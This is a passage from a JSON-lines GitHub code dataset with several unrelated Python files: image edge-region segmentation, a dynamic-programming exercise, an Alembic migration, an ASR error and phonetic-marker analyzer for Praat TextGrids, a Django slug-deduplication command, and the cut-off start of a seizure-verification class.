epsilon: parameter; numerical integration or differentiation \\n\n refine_er: custom option; if True, it try to delete some small fragments\n\n attributes\n -----\n self.Fa: GADF\n self.Er: edge-region\n '''\n self.img_orig = img\n self.epsilon = epsilon\n self.w, self.h = img.shape[:2]\n if len(img.shape) > 2:\n self.c = img.shape[2]\n else:\n self.c = 1\n\n if sig == None:\n sig = np.sqrt(self.w**2 + self.h**2) / 300 \n img = self.gaussfilt(self.img_orig, sig=sig)\n self.Fa = self.gadf(img)\n\n er = self.edgeRegion()\n if refine_er:\n self.Er = self.refineEr(er)\n else:\n self.Er = er\n\n def gadf(self, img) -> None:\n if self.c == 1:\n ngx, ngy = self.normalGrad(img)\n\n Ip = self.directInterp(img, (ngx, ngy), self.epsilon)\n In = self.directInterp(img, (ngx, ngy), -self.epsilon)\n\n coeff = np.sign(Ip + In - 2 * img)\n Fa = np.stack((coeff * ngx, coeff * ngy), axis=2)\n elif self.c == 3:\n h = 1E-02\n E = self.structTensor(img)\n Q = self.eigvecSort(E)\n v = Q[..., 0]\n\n num_part = 21\n xp = np.linspace(0, self.epsilon, num_part)\n xn = np.linspace(-self.epsilon, 0, num_part)\n yp, yn = [], []\n for p, n in zip(*[xp, xn]):\n yp.append(self.dux(img, v, p, h))\n yn.append(self.dux(img, v, n, h))\n \n lx = np.trapz(yp, dx=1 / 20, axis=0) - np.trapz(yn, dx=1 / 20, axis=0)\n\n Fa = np.sign(lx)[..., None] * v\n else:\n raise NotImplemented('Number of image channels is not 1 or 3.')\n return Fa\n\n def normalGrad(self, img) -> np.ndarray:\n gx, gy = self.imgrad(img)\n ng = np.sqrt(gx ** 2 + gy ** 2)\n return gx / (ng + self.eps), gy / (ng + self.eps)\n\n def structTensor(self, img):\n gx, gy = self.imgrad(img)\n Ei = np.array([[gx * gx, gx * gy], [gy * gx, gy * gy]])\n E = Ei.sum(axis=4).transpose((2, 3, 0, 1))\n return E\n\n def edgeRegion(self) -> None:\n F_ = np.stack((self.directInterp(self.Fa[..., 0], (self.Fa[..., 0], self.Fa[..., 1])),\n self.directInterp(self.Fa[..., 1], (self.Fa[..., 0], self.Fa[..., 1]))), axis=2)\n indic = np.sum(self.Fa * F_, axis=2)\n self.Er = np.where(indic < 0, 1, 0)\n return self.Er\n\n def dux(self, img, v, mag, h):\n '''\n input\n -----\n v: direction \\n\n s: maginitude which is coefficient of v \\n\n h: increment for finite differential \\n\n '''\n _d = v.transpose((2, 0, 1))\n up = np.array([self.directInterp(img[..., i], _d, mag + h) \n for i in range(self.c)])\n un = np.array([self.directInterp(img[..., i], _d, mag - h) \n for i in range(self.c)])\n res = np.sqrt(np.sum(((up - un) / (2 * h)) ** 2, axis=0))\n return res\n\n @staticmethod\n def eigvecSort(E:np.ndarray, values=False) -> tuple:\n v, Q = np.linalg.eig(E)\n _idx = np.argsort(v, axis=-1)[..., ::-1]\n Q_idx = np.stack((_idx, _idx), axis=2)\n sorted_Q = np.take_along_axis(Q, Q_idx, axis=-1)\n if values:\n sorted_v = np.take_along_axis(v, _idx, axis=-1)\n return sorted_Q, sorted_v\n else:\n return sorted_Q\n\n @staticmethod\n def imgrad(img: np.ndarray, order=1, h=1) -> np.ndarray:\n '''\n central difference\n '''\n nd = img.ndim\n if nd < 3:\n img = np.expand_dims(img, axis=-1)\n if order == 1:\n _x_ = img[:, 2:, ...] - img[:, :-2, ...]\n x_ = img[:, 1:2, ...] - img[:, :1, ...]\n _x = img[:, -1:, ...] - img[:, -2:-1, ...]\n\n _y_ = img[2:, :, ...] - img[:-2, :, ...]\n y_ = img[1:2, :, ...] - img[:1, :, ...]\n _y = img[-1:, :, ...] - img[-2:-1, :, ...]\n\n gx = np.concatenate((x_, _x_, _x), axis=1)\n gy = np.concatenate((y_, _y_, _y), axis=0)\n if nd < 3:\n gx = gx[..., 0]\n gy = gy[..., 0]\n return gx / (2 * h), gy / (2 * h)\n elif order == 2:\n _img = np.pad(img, ((1, 1), (1, 1), (0, 0)), mode='symmetric')\n\n gxx = _img[1:-1, 2:, ...] + _img[1:-1, :-2, ...] - 2 * _img[1:-1, 1:-1, ...]\n gyy = _img[2:, 1:-1, ...] + _img[:-2, 1:-1, ...] - 2 * _img[1:-1, 1:-1, ...]\n gxy = _img[2:, 2:, ...] + _img[:-2, :-2, ...] - _img[2:, :-2, ...] - _img[:-2, 2:, ...]\n if nd < 3:\n gxx = gxx[..., 0]\n gyy = gyy[..., 0]\n gxy = gxy[..., 0]\n return gxx / (h * h), gyy / (h * h), gxy / (4 * h * h)\n\n @staticmethod\n def gaussfilt(img, sig=2, ksz=None, bordertype=cv2.BORDER_REFLECT):\n if ksz is None:\n ksz = ((2 * np.ceil(2 * sig) + 1).astype(int), (2 * np.ceil(2 * sig) + 1).astype(int))\n return cv2.GaussianBlur(img, ksz, sig, borderType=bordertype)\n\n @staticmethod\n def directInterp(img: np.ndarray, direct:tuple or list, mag=1) -> np.ndarray:\n m, n = img.shape[:2]\n y, x = np.indices((m, n))\n\n x_ = x + mag * direct[0]\n y_ = y + mag * direct[1]\n\n x_ = np.where(x_ < 0, 0, x_)\n x_ = np.where(x_ > n - 1, n - 1, x_)\n y_ = np.where(y_ < 0, 0, y_)\n y_ = np.where(y_ > m - 1, m - 1, y_)\n\n x1 = np.floor(x_).astype(int)\n x2 = np.ceil(x_).astype(int)\n y1 = np.floor(y_).astype(int)\n y2 = np.ceil(y_).astype(int)\n\n I1 = img[y1, x1, ...]\n I2 = img[y1, x2, ...]\n I3 = img[y2, x2, ...]\n I4 = img[y2, x1, ...]\n\n I14 = (y_ - y1) * I4 + (y2 - y_) * I1\n I23 = (y_ - y1) * I3 + (y2 - y_) * I2\n\n return (x_ - x1) * I23 +(x2 - x_) * I14\n\n def refineEr(self, er):\n er1 = self.fineEr(er, iter=5, coeff=4)\n er2 = self.fineEr(er1, iter=2, coeff=4)\n res = self.dilation(er2, len=2)\n res = self.fineEr(er2, iter=2, coeff=4)\n return res\n\n def fineEr(self, er, iter=4, coeff=4):\n ler, ser = self.smallRegion(er, iter=iter, coeff=coeff)\n del_s = self.delEr(ser)\n er = ler + del_s\n return er\n\n def delEr(self, er):\n if self.c == 1:\n gimg = self.img_orig\n else:\n gimg = self.img_orig.mean(axis=2)\n _lbl = label(er, background=0,connectivity=1)\n \n N = {}\n Sig = {}\n for i in range(1, _lbl.max() + 1):\n N[i] = np.sum(_lbl == i)\n gimg_reg = (_lbl == i) * gimg\n Sig[i] = ((gimg_reg ** 2).sum() - gimg.sum()) / N[i]\n\n lst_N, lst_Sig = list(N.values()), list(Sig.values())\n mu_N, sig_N = np.mean(lst_N), np.std(lst_N)\n mu_Sig, sig_Sig = np.mean(lst_Sig), np.std(lst_Sig)\n\n ker = np.ones((3, 3))\n mean_loc = cv2.filter2D(gimg, -1, ker, borderType=cv2.BORDER_REFLECT)\n Sig_loc = np.sqrt(cv2.filter2D((gimg - mean_loc) ** 2, -1, ker, borderType=cv2.BORDER_REFLECT))\n\n dist_sig = (Sig_loc - mu_Sig) / (sig_Sig + self.eps)\n\n fun_alpha = lambda x: 1 / (1 + np.exp(-x) + self.eps)\n nx = mu_N + fun_alpha(-dist_sig) * sig_N\n for k, nn in N.items():\n if np.sum((nx > nn) * (_lbl == k)) > .5:\n er = np.where(_lbl == k, 0, er)\n return er\n\n @staticmethod\n def smallRegion(er, iter=5, coeff=4) -> tuple:\n lbl = label(er, background=0,connectivity=1)\n sz_reg = {}\n for i in range(1, lbl.max() + 1):\n sz_reg[i] = np.sum(lbl == i)\n _lst = list(sz_reg.values())\n _mu = np.mean(_lst)\n _sig = np.std(_lst)\n\n cnt = 0\n while True:\n cnt += 1\n lim_v = _mu + coeff * _sig\n _items = list(sz_reg.items())\n for k, sr in _items:\n if sr > lim_v: del sz_reg[k]\n\n if cnt > 3: break\n \n _lst = list(sz_reg.values())\n _mu = np.mean(_lst)\n _sig = np.std(_lst)\n \n part_small = np.zeros_like(lbl)\n for k in sz_reg.keys():\n part_small += (lbl == k)\n part_large = er - part_small\n return part_large, part_small","repo_name":"mireiffe/individual_tooth_segmentation","sub_path":"src/gadf.py","file_name":"gadf.py","file_ext":"py","file_size_in_byte":9066,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"48"} +{"seq_id":"7159013833","text":"# https://www.acmicpc.net/problem/2839\nN = int(input())\ndp = [5001] * int(5000+1)\ndp[3] = 1\ndp[5] = 1\n\nfor i in range(6, N+1):\n dp[i] = min(dp[i-3], dp[i-5]) + 1\n\nif dp[N] >= 5001:\n print(-1)\nelse:\n print(dp[N])","repo_name":"rhkdguskim/Study","sub_path":"알고리즘/이것이코딩테스트다스터디/다이나믹프로그래밍/설탕배달.py","file_name":"설탕배달.py","file_ext":"py","file_size_in_byte":220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13560546794","text":"\"\"\"add from and to columns to getTickerTask table\n\nRevision ID: 27047c3aa544\nRevises: 0ccfaa547e7d\nCreate Date: 2020-01-12 08:25:27.417084\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '27047c3aa544'\ndown_revision = '0ccfaa547e7d'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n op.add_column('getTickerTask', sa.Column('_from', sa.DateTime()))\n op.add_column('getTickerTask', sa.Column('to', sa.DateTime()))\n\n\ndef downgrade():\n op.drop_column('getTickerTask', '_from')\n op.drop_column('getTickerTask', 'to')\n","repo_name":"kirkjules/machine-learned-timeseries","sub_path":"htp/aux/alembic/versions/27047c3aa544_add_from_and_to_columns_to_.py","file_name":"27047c3aa544_add_from_and_to_columns_to_.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"11697076192","text":"import os\nimport re\nimport sys\nimport textwrap\nfrom collections import defaultdict, Counter\nfrom datetime import datetime\nfrom pathlib import Path\n\nimport click as click\nimport yaml\nfrom pkg_resources._vendor.more_itertools import pairwise\nfrom praatio import textgrid\nfrom praatio.data_classes.interval_tier import IntervalTier\nfrom praatio.utilities.constants import Interval\nfrom tqdm import tqdm\n\nfrom common_main_methods import get_input_filepaths, std_out_err_redirect_tqdm\nfrom phonemic import get_phonemic_reprs, arpabet_to_ipa, ARPABET_TO_IPA, get_phone_dict\n\nSILENCE_MARKERS_WORDS = frozenset(['{SL}', 'sp', '{LG}', '{BR}'])\nSILENCE_MARKERS_PHONES = frozenset(['sp', 'sil'])\n\n\n@click.command()\n@click.option(\n '--pra-inputs-dir-path',\n prompt='Enter the directory that contains the sclite diffs between the reference transcripts'\n ' and the hypothesis transcripts\\n',\n help=textwrap.dedent(\n '''\\\n All filenames in the directory should be in the filename format from the PNWE Bias in ASR\n research group, which is as follows:\n\n {City Code}{Neighborhood Code}{Unique ID Number}{Ethnicity}{Sex}{Generation}{Family Code}#{Task Code}_1/{hypothesis_system}_hyp.trn.pra\n e.g., EDP74CF1T#RP_1/google_hyp.trn.pra\n \n The extension should be .pra, which is output by sclite's TRN to TRN evaluation.\n See documentation at https://github.com/usnistgov/SCTK/blob/master/doc/sclite.htm\n \\n\n '''\n )\n)\n@click.option(\n '--textgrid-inputs-dir-path',\n prompt='Enter the directory that contains the Praat TextGrids with phones, words, markers, and'\n ' hyp tiers\\n',\n help=textwrap.dedent(\n '''\\\n The directory of Praat TextGrids which must have the following tiers:\n * `phone`\n * `word`\n * `markers`\n * `{system}-hyp`, e.g., `google-hyp`\n\n All filenames in the directory should be in the filename format from the PNWE Bias in ASR\n research group, which is as follows:\n\n {City Code}{Neighborhood Code}{Unique ID Number}{Ethnicity}{Sex}{Generation}{Family Code}_{Task Code}/{Speaker-Task Identifier}.TextGrid\n e.g., EDP74CF1T_RP/EDP74CF1T_RP.TextGrid\n \n NB: This system assumes that the following tokens should be ignored:\n {'{SL}', 'sp', '{LG}', '{BR}', 'sil'}\n \\n\n '''\n )\n)\n@click.option(\n '--wav-inputs-dir-path',\n prompt='Enter the directory that contains the reference WAVE files\\n',\n help=textwrap.dedent(\n '''\\\n\n All filenames in the directory should be in the filename format from the PNWE Bias in ASR\n research group, which is as follows:\n\n {City Code}{Neighborhood Code}{Unique ID Number}{Ethnicity}{Sex}{Generation}{Family Code}_{Task Code}/{Speaker-Task Identifier}.wav\n e.g., EDP74CF1T_RP/EDP74CF1T_RP.wav\n \\n\n '''\n )\n)\n@click.option(\n '--rules-input-path',\n prompt='Enter the filepath of the YAML-formatted regexp rules used to identify phonetic'\n ' markers\\n',\n help=textwrap.dedent(\n '''\\\n The filepath of the YAML-formatted regexp rules used to identify phonetic markers.\n See example under marker_rules/mkscott_thesis_rules.yaml\n \\n\n '''\n )\n)\n@click.option(\n '--pronunciation-dict-path', default=None,\n help=textwrap.dedent(\n '''\\\n The path for the CMUdict-formatted canonical pronunciation dictionary. If no filepath is\n provided, CMUdict from NLTK will be used by default.\n \\n\n '''\n )\n)\n@click.option(\n '--output-dir-path', prompt='Enter the path to output files to\\n',\n help=textwrap.dedent(\n '''\\\n The directory path to output modified TextGrids.\n \\n\n '''\n )\n)\ndef analyzer_main(\n pra_inputs_dir_path, textgrid_inputs_dir_path, wav_inputs_dir_path, rules_input_path,\n pronunciation_dict_path, output_dir_path\n):\n \"\"\"\n Analysis program that takes input Praat TextGrids of transcribed speech, sclite diff outputs\n between those TextGrids and hypothesis transcriptions, and a set of phonetic marker\n identification rules, and outputs new TextGrids that include possible identified phonetic\n markers and time-aligned hypothesis tiers.\n \"\"\"\n phone_dict = get_phone_dict(pronunciation_dict_path)\n\n symlink_root = make_input_symlinks(\n pra_inputs_dir_path, textgrid_inputs_dir_path, wav_inputs_dir_path, output_dir_path\n )\n\n aligned_error_dict = {}\n datetime_str = datetime.now().strftime('%d_%b_%y_%H-%M-%S%Z')\n dirpath, dirnames, filenames = next(os.walk(symlink_root))\n with std_out_err_redirect_tqdm() as orig_stdout:\n print(\"Aligning sclite error outputs with TextGrids...\")\n for dirname in tqdm(dirnames, file=orig_stdout, dynamic_ncols=True):\n aligned_error_dict |= get_all_errors(f\"{dirpath}/{dirname}\", datetime_str)\n\n hyp_textgrids_dirpath = f\"{output_dir_path}/hyp_textgrids_{datetime_str}\"\n find_and_add_marker_candidates(hyp_textgrids_dirpath, rules_input_path, phone_dict)\n\n\ndef make_input_symlinks(pra_dir, textgrid_dir, wav_dir, output_dir_path):\n symlink_output_root = f\"{output_dir_path}/symlinks\"\n pra_filepaths = get_input_filepaths(pra_dir, ['pra'])\n textgrid_filepaths = get_input_filepaths(textgrid_dir, ['textgrid'])\n wav_filepaths = get_input_filepaths(wav_dir, ['wav'])\n\n filepath_dict = defaultdict(set)\n # pra files\n for filepath in pra_filepaths:\n _, spkr_task_id, filename = filepath.rsplit('/', maxsplit=2)\n\n # drop the extraneous `_{num}` and change the '#' to an '_'\n spkr_task_id = spkr_task_id.replace('#', '_').rsplit('_', maxsplit=1)[0]\n filepath_dict[spkr_task_id].add(filepath)\n\n # TextGrid files\n for filepath in textgrid_filepaths:\n spkr_task_id = filepath.rsplit('/', maxsplit=1)[-1]\n spkr_task_id = spkr_task_id.split('.')[0]\n filepath_dict[spkr_task_id].add(filepath)\n\n # wav files\n for filepath in wav_filepaths:\n spkr_task_id = filepath.rsplit('/', maxsplit=1)[-1]\n spkr_task_id = spkr_task_id.split('.')[0]\n filepath_dict[spkr_task_id].add(filepath)\n\n for spkr_task_id, filepaths in filepath_dict.items():\n spkr_task_output_dir = f\"{symlink_output_root}/{spkr_task_id}\"\n try:\n os.makedirs(spkr_task_output_dir)\n except FileExistsError:\n pass\n\n for filepath in filepaths:\n path = Path(filepath)\n filename, ext = path.name, path.suffix\n new_filename = spkr_task_id\n if ext == '.pra':\n system = filename.split('_', maxsplit=1)[0]\n new_filename = f\"{system}-{new_filename}\"\n try:\n os.symlink(filepath, f\"{spkr_task_output_dir}/{new_filename}{ext}\")\n except FileExistsError:\n pass # assumption is that if the file already exists, it's the one you want\n\n return symlink_output_root\n\n\ndef get_all_errors(input_spkr_dir, datetime_str):\n spkr_tsk_id = input_spkr_dir.rsplit('/', maxsplit=1)[-1]\n systems_to_err_objs = {}\n wav_filepath = _get_and_assert_one_file(input_spkr_dir, 'wav')\n tg_filepath = _get_and_assert_one_file(input_spkr_dir, 'textgrid')\n error_counts = Counter()\n for input_filepath in get_input_filepaths(input_spkr_dir, ['pra']):\n system = input_filepath.rsplit('/', maxsplit=1)[-1].rsplit('-', maxsplit=1)[0]\n\n with open(input_filepath, 'r') as input_file:\n lines_to_eval = []\n for line in input_file.readlines():\n if re.match(r\"^(?:>> )?(?:REF|HYP).*$\", line):\n lines_to_eval.append(line)\n # create pairs of ref & hyp\n lines_to_eval = zip(*[iter(lines_to_eval)]*2)\n\n aligned_pairs = []\n for ref_line, hyp_line in lines_to_eval:\n ref_words = re.sub(r\"(?:>> )?REF:\", '', ref_line).split()\n hyp_words = re.sub(r\"(?:>> )?HYP:\", '', hyp_line).split()\n aligned_pairs.extend(list(zip(ref_words, hyp_words)))\n\n error_objs = []\n for idx, aligned_pair in enumerate(aligned_pairs):\n ref_word, hyp_word = aligned_pair\n error_obj = {\n 'ref': ref_word, 'hyp': hyp_word, 'index': idx\n }\n if re.match(r\"^\\*+$\", ref_word):\n # Insertion\n error_obj['error'] = 'ins'\n error_counts['ins'] += 1\n elif re.match(r\"^\\*+$\", hyp_word):\n # Deletion\n error_obj['error'] = 'del'\n error_counts['del'] += 1\n elif ref_word.isupper and hyp_word.isupper():\n # Substitution\n error_obj['error'] = 'sub'\n error_counts['sub'] += 1\n else:\n # Correct\n error_obj['error'] = 'corr'\n error_objs.append(error_obj)\n\n error_objs = _add_alignments(error_objs, tg_filepath, system, datetime_str)\n systems_to_err_objs[system] = error_objs\n return {\n spkr_tsk_id: {\n 'wav': wav_filepath, 'textgrid': tg_filepath,\n 'error_intervals': systems_to_err_objs,\n 'error_counts': error_counts\n }\n }\n\n\ndef _get_and_assert_one_file(dir_path, ext):\n filepaths = list(get_input_filepaths(dir_path, [ext]))\n if len(filepaths) > 1:\n raise RuntimeError(\n f\"Expected only 1 .{ext} file in {dir_path}, but found {len(filepaths)}:\"\n f\"\\n{filepaths}\"\n )\n return filepaths[0]\n\n\ndef _add_alignments(error_objs, tg_filepath, system, datetime_str):\n textgrid_obj = textgrid.openTextgrid(tg_filepath, includeEmptyIntervals=True)\n filtered_tg_intervals = []\n for interval in textgrid_obj.getTier('word').entries:\n word = interval.label\n # TODO configure words to ignore in textgrid\n if not word or word in SILENCE_MARKERS_WORDS:\n continue\n filtered_tg_intervals.append(interval)\n\n # combined means that ins-errors were combined into other adjacent errors\n combined_err_objs = []\n ins_err_seq = []\n last_non_ins_err_obj = None\n for error_obj in error_objs:\n combined_err_obj = error_obj.copy()\n if error_obj['error'] == 'ins':\n ins_err_seq.append(combined_err_obj['hyp'].upper())\n continue\n elif len(ins_err_seq) > 0:\n hyp_word = combined_err_obj['hyp']\n hyp_word = hyp_word.lower() if combined_err_obj['error'] == 'corr' else hyp_word.upper()\n combined_err_obj['hyp'] = f\"ins: [{' '.join(ins_err_seq)}] {hyp_word}\"\n ins_err_seq = []\n else:\n last_non_ins_err_obj = combined_err_obj\n combined_err_objs.append(combined_err_obj)\n\n # if the last sequence is all ins-errors, then we have some leftover we need to deal with\n if len(ins_err_seq) > 0:\n hyp_word = last_non_ins_err_obj['hyp']\n hyp_word = hyp_word.lower() if last_non_ins_err_obj['error'] == 'corr' else hyp_word.upper()\n last_non_ins_err_obj['hyp'] = f\"{hyp_word} ins: [{' '.join(ins_err_seq)}]\"\n\n if len(filtered_tg_intervals) != len(combined_err_objs):\n print(\n f\"Textgrid at {tg_filepath}\"\n f\"\\n does not have the same number of intervals as given alignment file excluding\"\n f\" insertion errors.\"\n f\"\\n\\tExpected: {len(filtered_tg_intervals)}\"\n f\"\\n\\tActual: {len(combined_err_objs)}\"\n f\"\\nPlease ensure this is using the same TextGrid used to generate the original\"\n f\" ref file.\",\n file=sys.stderr\n )\n return error_objs\n new_error_objs = []\n offset_in_sec = textgrid_obj.minTimestamp\n\n tg_path_obj = Path(tg_filepath)\n hyp_textgrids_dirpath = f\"{tg_path_obj.parent.parent.parent}/hyp_textgrids_{datetime_str}\"\n\n try:\n os.makedirs(hyp_textgrids_dirpath)\n except FileExistsError:\n pass\n\n new_textgrid_filepath = f\"{hyp_textgrids_dirpath}/{tg_path_obj.stem}_hyp{tg_path_obj.suffix}\"\n try:\n new_textgrid_file = open(new_textgrid_filepath, 'x')\n new_textgrid = textgrid_obj.new()\n new_textgrid = new_textgrid.editTimestamps(-1 * offset_in_sec, reportingMode=\"silence\")\n new_textgrid = _fix_textgrid_boundaries(new_textgrid, -1 * offset_in_sec)\n new_textgrid.save(\n new_textgrid_filepath, \"long_textgrid\", includeBlankSpaces=True,\n reportingMode=\"silence\"\n )\n new_textgrid_file.close()\n except FileExistsError:\n new_textgrid = textgrid.openTextgrid(new_textgrid_filepath, includeEmptyIntervals=True)\n\n sys_hyp_tier_name = f'{system}-hyp'\n\n try:\n new_textgrid_hyp_tier = new_textgrid.getTier(sys_hyp_tier_name)\n except KeyError:\n new_textgrid_hyp_tier = None\n if not new_textgrid_hyp_tier:\n new_textgrid_hyp_tier = IntervalTier(\n sys_hyp_tier_name, [], new_textgrid.minTimestamp, new_textgrid.maxTimestamp\n )\n new_textgrid.addTier(new_textgrid_hyp_tier, reportingMode=\"error\")\n\n for error_obj, tg_interval in zip(combined_err_objs, filtered_tg_intervals):\n if error_obj['ref'].casefold() != tg_interval.label.casefold():\n print(\n f\"TextGrid not aligned with pra file:\"\n f\"\\n\\tTextGrid Path: {tg_filepath}\"\n f\"\\n\\tTextGrid Interval:{tg_interval}\"\n f\"\\n\\tExpected Token: {error_obj['ref']}\",\n file=sys.stderr\n )\n continue\n\n new_error_obj = error_obj.copy()\n new_error_obj['start'] = tg_interval.start - offset_in_sec\n new_error_obj['end'] = tg_interval.end - offset_in_sec\n new_error_objs.append(new_error_obj)\n\n new_tg_interval = Interval(\n new_error_obj['start'], new_error_obj['end'], new_error_obj['hyp']\n )\n new_textgrid_hyp_tier.insertEntry(new_tg_interval)\n\n if len(new_textgrid_hyp_tier.entries) >= len(\n new_textgrid.getTier(sys_hyp_tier_name).entries\n ):\n new_textgrid.replaceTier(sys_hyp_tier_name, new_textgrid_hyp_tier, reportingMode=\"error\")\n new_textgrid.save(\n new_textgrid_filepath, \"long_textgrid\", includeBlankSpaces=True, reportingMode=\"error\"\n )\n\n return new_error_objs\n\n\ndef _fix_textgrid_boundaries(textgrid_obj, offset):\n new_textgrid_obj = textgrid_obj.new()\n new_textgrid_obj.maxTimestamp += offset\n for tier_name, interval_tier in zip(textgrid_obj.tierNames, textgrid_obj.tiers):\n new_intervals = []\n for interval1, interval2 in pairwise(interval_tier.entries):\n if interval1.end > interval2.start:\n new_interval1 = Interval(interval1.start, interval2.start, interval1.label)\n else:\n new_interval1 = interval1\n new_intervals.append(new_interval1)\n new_intervals.append(interval_tier.entries[-1])\n new_interval_tier = IntervalTier(\n tier_name, new_intervals, interval_tier.minTimestamp,\n interval_tier.maxTimestamp + offset\n )\n new_textgrid_obj.replaceTier(tier_name, new_interval_tier, reportingMode='error')\n return new_textgrid_obj\n\n\ndef find_and_add_marker_candidates(tg_dirpath, rules_filepath, phone_dict):\n with open(rules_filepath, 'r+b') as rules_file:\n rules_yaml = yaml.safe_load(rules_file.read())\n\n print(\"Analyzing rules for each file...\")\n with std_out_err_redirect_tqdm() as orig_stdout:\n filepaths = list(get_input_filepaths(tg_dirpath, acceptable_exts=['textgrid']))\n for filepath in tqdm(filepaths, file=orig_stdout, dynamic_ncols=True):\n tg = textgrid.openTextgrid(filepath, includeEmptyIntervals=True)\n\n marker_tg_intervals = []\n possible_marker_tg_intervals = []\n for tg_interval in tg.getTier('word').entries:\n if tg_interval.label in SILENCE_MARKERS_WORDS:\n continue\n\n ref_word = tg_interval.label\n if not re.match(r'\\w+', ref_word):\n continue\n\n ref_transcribed_phones = _get_phones_from_tg(tg, tg_interval)\n if not ref_transcribed_phones:\n continue\n\n canon_phonemic_reprs = get_phonemic_reprs(\n ref_word, ipa=True, phone_dict=phone_dict\n )\n matched_markers = set()\n possible_markers = set()\n for rule_name, rule_list in rules_yaml.items():\n for rule_entry in rule_list:\n if rule_name in matched_markers:\n break # if we've already matched, no need to keep going\n\n ref_rule_str, canon_rule_str = rule_entry['ref'], rule_entry['canon']\n ref_rule = parse_rule_to_regex(ref_rule_str)\n canon_rule = parse_rule_to_regex(canon_rule_str)\n\n has_a_match = False\n for phonemic_repr in canon_phonemic_reprs:\n has_a_match |= bool(re.match(canon_rule, phonemic_repr))\n if not has_a_match:\n continue # All rules must match for this to be a candidate\n\n possible_markers.add(rule_name)\n\n # all rules must match for this to be a candidate\n if not re.match(ref_rule, ref_transcribed_phones):\n # the hand-annotated phones don't match the rule, so this isn't a\n # candidate\n continue\n\n matched_markers.add(rule_name)\n\n marker_tg_intervals.append(\n Interval(\n tg_interval.start, tg_interval.end, f\"{' '.join(matched_markers)}\"\n )\n )\n possible_marker_tg_intervals.append(\n Interval(\n tg_interval.start, tg_interval.end, f\"{' '.join(possible_markers)}\"\n )\n )\n\n # create and add tiers\n markers_interval_tier = IntervalTier(\n 'markers', marker_tg_intervals,\n minT=tg.minTimestamp, maxT=tg.maxTimestamp\n )\n possible_markers_interval_tier = IntervalTier(\n 'poss-markers', possible_marker_tg_intervals,\n minT=tg.minTimestamp, maxT=tg.maxTimestamp\n )\n\n # tierIndex 0 = 'word', tierIndex 1 = 'phone'\n tg.addTier(markers_interval_tier, tierIndex=2)\n tg.addTier(possible_markers_interval_tier, tierIndex=3)\n tg.save(filepath, \"long_textgrid\", includeBlankSpaces=True, reportingMode=\"error\")\n\n\ndef _get_phones_from_tg(textgrid_obj, tg_interval):\n phone_tier = textgrid_obj.getTier('phone')\n tmp_tg_tier = IntervalTier(\n 'tmp-word', [tg_interval], phone_tier.minTimestamp, phone_tier.maxTimestamp\n )\n target_word = tg_interval.label\n if not target_word or target_word in SILENCE_MARKERS_WORDS:\n return ''\n intersection_tier = phone_tier.intersection(tmp_tg_tier)\n phone_list = []\n for interval in intersection_tier.entries:\n phone, word = interval.label.split('-')\n # this shouldn't happen at all, but I have seen it occasionally, perhaps because we have\n # imperfectly aligned intervals\n if not phone or phone in SILENCE_MARKERS_PHONES:\n continue\n if word.casefold() == target_word.casefold():\n phone_list.append(phone)\n else:\n print(\n f\"Unexpected overlap in phone tier and word tier:\"\n f\"\\n\\tTarget Word:{target_word}\"\n f\"\\n\\tFound: {intersection_tier.entries}\",\n file=sys.stderr\n )\n\n return arpabet_to_ipa('-'.join(phone_list))\n\n\nALL_IPA_GROUP = f\"[{''.join(set(ARPABET_TO_IPA.values()))}]\"\n\n\ndef parse_rule_to_regex(rule_str):\n import warnings\n warnings.simplefilter(action='ignore', category=FutureWarning)\n rule = rule_str.replace('(?#all_ipa)', ALL_IPA_GROUP)\n to_replace_groups = re.findall(fr\"(\\(\\?#\\^({ALL_IPA_GROUP}+)\\))\", rule)\n if to_replace_groups:\n for to_replace, ipa_chars in to_replace_groups:\n filtered_ipa_str = re.sub(fr\"[{ipa_chars}]\", '', ALL_IPA_GROUP)\n rule = rule.replace(to_replace, filtered_ipa_str)\n return rule\n\n\nif __name__ == '__main__':\n analyzer_main()\n","repo_name":"scottmk/bias-in-asr","sub_path":"error_analysis/analyzer.py","file_name":"analyzer.py","file_ext":"py","file_size_in_byte":20849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20903525724","text":"from django.core.management.base import BaseCommand\nfrom django.db.models import Count\n\nfrom catergories.models import Category\nfrom topics.models import Topic\n\n\nclass Command(BaseCommand):\n def handle(self, *args, **options):\n duplicate_topics = Topic.objects.values('slug').annotate(slug_count=Count('slug')).filter(slug_count__gt=1)\n # Duyệt qua các bản ghi trùng lặp và thay đổi slug\n for duplicate in duplicate_topics:\n topics_to_update = Topic.objects.filter(slug=duplicate['slug'])\n for i, topic in enumerate(topics_to_update):\n # Thay đổi giá trị slug sao cho nó là duy nhất\n new_slug = f\"{topic.slug}-{i}\"\n topic.slug = new_slug\n topic.save()\n\n # Thay đổi slug của các category\n duplicate_category = Category.objects.values('slug').annotate(slug_count=Count('slug')).filter(slug_count__gt=1)\n for duplicate in duplicate_category:\n categories_to_update = Category.objects.filter(slug=duplicate['slug'])\n for i, category in enumerate(categories_to_update):\n new_slug = f\"{category.slug}-{i}\"\n category.slug = new_slug\n category.save()","repo_name":"weii1501/tinhocorg","sub_path":"main/store/management/commands/handle_duplicate.py","file_name":"handle_duplicate.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2350681812","text":"# -*- coding: utf-8 -*-\n\n### ---------------- IMPORTS ------------------ ###\nimport os\nimport tables\nfrom pick import pick\nimport numpy as np\n# User Defined\nfrom helper.array_helper import find_szr_idx\n### ------------------------------------------- ###\n \nclass UserVerify:\n \"\"\"\n Class for user verification of detected seizures.\n \"\"\"\n \n # class constructor (data retrieval)\n def __init__(self, settings):\n \"\"\"\n\n Parameters\n ----------\n settings : dict\n \"\"\"\n \n # pass settings to object attributes\n for key, value in settings.items():\n setattr(self, key, value)\n \n # set full paths \n self.org_dir = os.path.join(self.main_path, self.org_dir)\n self.rawpred_dir = os.path.join(self.main_path, self.rawpred_dir)\n self.verpred_dir = os.path.join(self.main_path, self.verpred_dir)\n\n # make path if it doesn't exist\n if 